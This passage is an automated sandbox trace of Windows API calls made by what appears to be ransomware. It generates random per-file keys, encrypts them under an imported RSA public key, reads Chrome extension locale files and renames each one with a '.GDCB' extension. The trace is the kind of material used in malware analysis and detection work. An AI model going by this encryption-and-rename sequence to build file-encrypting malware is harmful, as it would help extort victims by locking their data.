[0253.410] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x6782808) returned 1 [0253.410] CryptGetKeyParam (in: hKey=0x6782808, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0253.410] CryptEncrypt (in: hKey=0x6782808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd20000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd20000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0253.410] GetLastError () returned 0x0 [0253.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.410] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0253.412] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x6782388) returned 1 [0253.412] CryptGetKeyParam (in: hKey=0x6782388, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0253.412] CryptEncrypt (in: hKey=0x6782388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd30000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd30000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0253.412] GetLastError () returned 0x0 [0253.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.412] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.465] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.489] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.489] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.494] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.494] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.496] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782408) returned 1 [0253.496] CryptGetKeyParam (in: hKey=0x6782408, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.496] CryptEncrypt (in: hKey=0x6782408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.496] GetLastError () returned 0x0 [0253.496] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.496] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0253.498] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67825c8) returned 1 [0253.498] CryptGetKeyParam (in: hKey=0x67825c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.498] CryptEncrypt (in: hKey=0x67825c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.499] GetLastError () returned 0x0 [0253.499] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.500] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.502] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.505] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x101, lpOverlapped=0x0) returned 1 [0253.513] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.532] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0253.537] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.542] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.542] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.542] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.546] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.546] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.547] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.547] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0253.549] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782108) returned 1 [0253.549] CryptGetKeyParam (in: hKey=0x6782108, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.549] CryptEncrypt (in: hKey=0x6782108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.549] GetLastError () returned 0x0 [0253.549] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.549] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0253.551] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67820c8) returned 1 [0253.551] CryptGetKeyParam (in: hKey=0x67820c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.551] CryptEncrypt (in: hKey=0x67820c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.552] GetLastError () returned 0x0 [0253.552] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.552] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.553] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.558] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x110, lpOverlapped=0x0) returned 1 [0253.565] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.571] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0253.577] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.582] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.582] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.582] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.586] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.586] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.587] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.589] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782348) returned 1 [0253.589] CryptGetKeyParam (in: hKey=0x6782348, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.589] CryptEncrypt (in: hKey=0x6782348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.589] GetLastError () returned 0x0 [0253.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.589] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.591] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67824c8) returned 1 [0253.591] CryptGetKeyParam (in: hKey=0x67824c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.591] CryptEncrypt (in: hKey=0x67824c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.591] GetLastError () returned 0x0 [0253.591] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.593] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.595] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.597] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0253.605] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.641] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0253.647] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.652] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.652] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.652] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.657] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.657] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.658] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.660] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782208) returned 1 [0253.660] CryptGetKeyParam (in: hKey=0x6782208, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.660] CryptEncrypt (in: hKey=0x6782208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.660] GetLastError () returned 0x0 [0253.660] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.660] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782248) returned 1 [0253.662] CryptGetKeyParam (in: hKey=0x6782248, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.662] CryptEncrypt (in: hKey=0x6782248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.662] GetLastError () returned 0x0 [0253.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.664] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.666] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.669] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0253.678] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.686] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0253.691] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.693] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.695] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.696] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.696] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.700] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.700] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.701] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.703] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782608) returned 1 [0253.703] CryptGetKeyParam (in: hKey=0x6782608, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.703] CryptEncrypt (in: hKey=0x6782608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.703] GetLastError () returned 0x0 [0253.703] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.705] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782288) returned 1 [0253.705] CryptGetKeyParam (in: hKey=0x6782288, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.705] CryptEncrypt (in: hKey=0x6782288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.705] GetLastError () returned 0x0 [0253.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.706] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 